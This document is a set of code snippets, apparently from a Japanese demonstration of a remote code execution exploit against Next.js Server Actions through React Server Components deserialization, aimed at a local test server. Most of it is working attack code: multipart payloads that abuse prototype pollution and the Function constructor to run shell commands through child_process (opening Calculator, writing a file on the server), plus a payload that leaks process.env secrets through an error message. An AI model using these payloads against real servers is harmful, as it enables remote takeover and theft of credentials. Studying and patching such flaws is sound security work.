export default function Home() {
  async function testAction(arg: any) {
    "use server";
    // 省略
  }
  return (
    <div>
      <main>Webサーバ</main>
      <form action={testAction}>
        <button>Submit</button>
      </form>
    </div>
  );
}

const payloadArray = Array(200).fill("$F");
  const body = JSON.stringify(payloadArray);

  try {
    const res = await axios.post("http://localhost:3000", body, {
      headers: {
        "Content-Type": "text/plain",
        "Next-Action": "", // 先程取得したIDを代入
      },
    });

// 省略
  // const COMMAND = "calc"; // Windowsの場合
  const COMMAND = "open -a Calculator"; // macOSの場合

  const TARGET_URL = "http://localhost:3000";
  const BOUNDARY = "----WebKitFormBoundaryx8jO2oVc6SWP3Sad";

  const payloadJson = JSON.stringify({
    then: "$1:__proto__:then",
    status: "resolved_model",
    reason: -1,
    value: '{"then":"$B1337"}',
    _response: {
      _prefix: `process.mainModule.require('child_process').execSync('${COMMAND}');`,
      _formData: {
        get: "$1:constructor:constructor",
      },
    },
  });

  const body = [
    `--${BOUNDARY}`,
    'Content-Disposition: form-data; name="0"',
    "",
    payloadJson,
    `--${BOUNDARY}`,
    'Content-Disposition: form-data; name="1"',
    "",
    '"$@0"',
    `--${BOUNDARY}--`,
    "",
  ].join("\r\n");

  try {
    const res = await fetch(TARGET_URL, {
      method: "POST",
      headers: {
        Host: "localhost:3000",
        "User-Agent":
          "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36",
        "Next-Action": NEXT_ACTION_ID,
        "Content-Type": `multipart/form-data; boundary=${BOUNDARY}`,
      },
      body: body,
    });

    // 省略
}

calculator();

// webサーバ側にファイルが生成される
  const DATA = "This file was generated by the attacker server.";
  const COMMAND = `echo "${DATA}" > public/test.txt`;

    // 省略
  const JS_PAYLOAD = `
    const env = JSON.stringify(process.env, null, 2);
    throw new Error('/// DATA START /// ' + env + ' /// DATA END ///');
  `;
  // 改行をスペースに置換して1行にする
  const minifiedPayload = JS_PAYLOAD.replace(/\n/g, " ");

  const TARGET_URL = "http://localhost:3000";
  const BOUNDARY = "----WebKitFormBoundaryx8jO2oVc6SWP3Sad";

  const payloadJson = JSON.stringify({
    then: "$1:__proto__:then",
    status: "resolved_model",
    reason: -1,
    value: '{"then":"$B1337"}',
    _response: {
      _formData: {
        get: "$1:constructor:constructor",
      },
      _prefix: minifiedPayload,
    },
  });

  // 省略
  try {
    // 省略
    if (res.status === 500) {
      // 埋め込んだマーカーを探す
      const match = text.match(/DATA START \/\/\/ (.*?) \/\/\/ DATA END/s);

      if (match && match[1]) {
        console.log("\n【success】環境変数を奪取しました:\n");
        try {
          const envJson = JSON.parse(match[1].replace(/\\n/g, "\\n"));
          console.log(envJson);
        } catch {
          console.log(match[1]);
        }
      } else {
        console.log(
          "[-] データ抽出マーカーが見つかりません。レスポンス全体を表示します:"
        );
        console.log(text.substring(0, 1000));
      }
    } else {
      console.log(`[*] Response: ${text.substring(0, 500)}`);
    }
  } catch (err: any) {
    console.error(`[!] Error: ${err.message}`);
  }
}

readenv();